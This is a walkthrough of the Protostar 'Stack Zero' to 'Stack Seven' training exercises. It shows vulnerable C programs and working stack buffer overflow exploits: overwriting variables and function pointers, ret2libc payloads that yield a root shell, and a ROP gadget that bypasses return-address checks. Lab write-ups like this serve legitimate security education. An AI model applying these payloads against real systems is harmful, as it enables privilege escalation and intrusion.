Protostar

Stack Zero

Task: Modify the modified value and get it to print the message you have changed the 'modified' variable

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

Solution: As we can see, the size of the buffer is 64 bytes and as declared in the code, modified is right before it, so as per the assumption if we pass 64 A's and few B's to the program's input we would be able to modify the value of the variable. We are able to do so as there are no bounds checking on the gets function while taking the input.

# --------------------------------
# 64 A's
user@protostar:/opt/protostar/bin$ ./stack0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Try again?
# --------------------------------
# 64 A's and a few B's
user@protostar:/opt/protostar/bin$ ./stack0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
you have changed the 'modified' variable

Stack One

Task: Modify the value of the modified variable to a specific value (0x61626364) to get the desired branch of the if statements to run.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

Solution: As we can see in this problem as well, the variable modified is just after the buffer of size 64 bytes. So we'll follow the same technique as followed in the Stack Zero problem and pass 64 bytes of A's and then pass the actual value that is required i.e. 0x61626364. If you look around you'll realise that the value 0x61626364 is nothing but abcd, but as the processors work with little endian format, we'll have to pass dcba to the program to get the desired output.

# If we pass abcd, we won't get the desired value
user@protostar:/opt/protostar/bin$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAabcd
Try again, you got 0x64636261
# If we pass dcba we will be able to get the output we are looking for
user@protostar:/opt/protostar/bin$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
you have correctly got the variable to the right value

Stack Two

Task: Same as the last two, modify the modified variable to the desired value but this time using the Environment variable as an input.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

Solution: As we can see in the code, the value of GREENIE environment variable is being stored in the variable and then that variable is copied to the buffer without any bounds check. As pointed out earlier, this behaviour is dangerous and as exploited earlier, will be exploited here as well, but this time input will be set via the GREENIE environment variable.

user@protostar:/opt/protostar/bin$ export GREENIE="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB"
user@protostar:/opt/protostar/bin$ ./stack2
Try again, you got 0x42424242
user@protostar:/opt/protostar/bin$ export GREENIE=`echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0a\x0d\x0a\x0d"`
user@protostar:/opt/protostar/bin$ ./stack2
you have correctly modified the variable

Stack Three

Task: Modify the control flow by mangling with the function pointer fp, which is called after getting the input from the user in the buffer.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

Solution: First we need to figure out, where is the function WIN located in the address space. So for that we'll use GDB.

(gdb) disas win
Dump of assembler code for function win:
0x08048424 <win+0>:     push   %ebp

As we can see function win starts at 0x08048424. So we have to make our code jump to that address i.e. overwrite EIP with that value. As we can see in the code, that fp is being called after the input has been stored in the buffer. We can exploit the unbounded copy of buffer and overwrite the fp variable with value of our choice and call the win function.

user@protostar:/opt/protostar/bin$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x24\x84\x04\x08" | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

Stack Four

Task: Redirect code flow to the WIN function.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Solution

$ msf-pattern_create -l 100
$ echo "PATTERN GOES HERE" | ./stack4
$ dmesg
# Copy the segfault error IP and check the offset with 
$ msf-pattern_offset -q 63413563
# Verify with A and B
$ python -c 'print "A"*76 + "B"*4' | ./stack4
# Check if dmesg is at 42424242. We are good to go.

Find the address of the function, we want to jump to.

$ objdump -d ./stack4 | grep -4 "win"
080483f4 <win>:
# Rest of the code, we are just concerned with the starting 
# address

We'll now run the final exploit

$ python -c 'from struct import pack; print "A"*76 + pack("<I", 0x080483f4)' | ./stack4 
code flow successfully changed

# SUCCESS

Stack Five

Task: Exploit the standard buffer-overflow and execute the shellcode using ret2libc, or ROP. We'll be using ret2libC.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Solution

• Find the offset for EIP as done earlier and it turned out to be 76.

• We'll find the address of the functions (system and exit) and a string /bin/sh.

• Hijack the EIP and run the system with the /bin/sh parameter and get execution.

(gdb) b *main
(gdb) r
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>
(gdb) i proc map
0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
## This is a very neat trick to find out the offset of something in any file
$ strings -at x /lib/libc-2.11.2.so | grep "/bin/sh"
11f3bf /bin/sh

Assembling the exploit

$ python -c 'from struct import pack; print "A"*76 + 
pack("<I", 0xb7ecffb0) + pack("<I", 0xb7ec60c0) + pack("<I", 0xb7
e97000 + 0x11f3bf)'  > /tmp/s5
$ $ (cat /tmp/s5; cat) | ./stack5
whoami
root
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)

Stack Six

Task: Restrictions on return address, get shell as root.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

Solution

Solution for this is exactly same as the 5th challenge, except the EIP offset i.e. 80 in this case, so we'll directly skip to running the exploit.

$ python -c 'from struct import pack; print "A"*80 + pack("<I", 0xb7ecffb0) + pack("<I", 0xb7ec60c0) + pack("<I", 0xb7e97000 + 0x11f3bf)'  > /tmp/s6
$ (cat /tmp/s6; cat) | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`췿c
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)

Stack Seven

Task: More restrictions on the return address, get root shell.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

Solution

• As we can see, any return address starting with 0xb will shut our exploitation down, so we'll have to circumvent this.

• We'll be using 1 ROP gadget to pivot stack and get the execution flowing as normal, as we have done in the previous challenges.

The offset is still 80, so we'll proceed further and find our 1 ROP gadget to pivot back to the buffer.

$ ROPgadget --binary ./stack7
# ---- SNIP ----
0x08048574 : push esi ; push ebx ; call 0x80485d2                                                                                                      
0x080485e2 : push esp ; xchg eax, esi ; add al, 8 ; nop ; sub ebx, 4 ; call eax                                                                        
0x08048362 : ret # <---- We'll use the simple return statment
0x0804816b : retf
# ---- SNIP ----

Assembling the exploit

$ python -c 'from struct import pack; print "A"*80 + pack("<I", 0x08048362) + pack("<I", 0xb7ecffb0) + pack("<I", 0xb7ec60c0) + pack("<I", 0xb7e97000 + 0x11f3bf)'  > /tmp/s7
$ (cat /tmp/s7; cat) | ./stack7
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`췿c
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)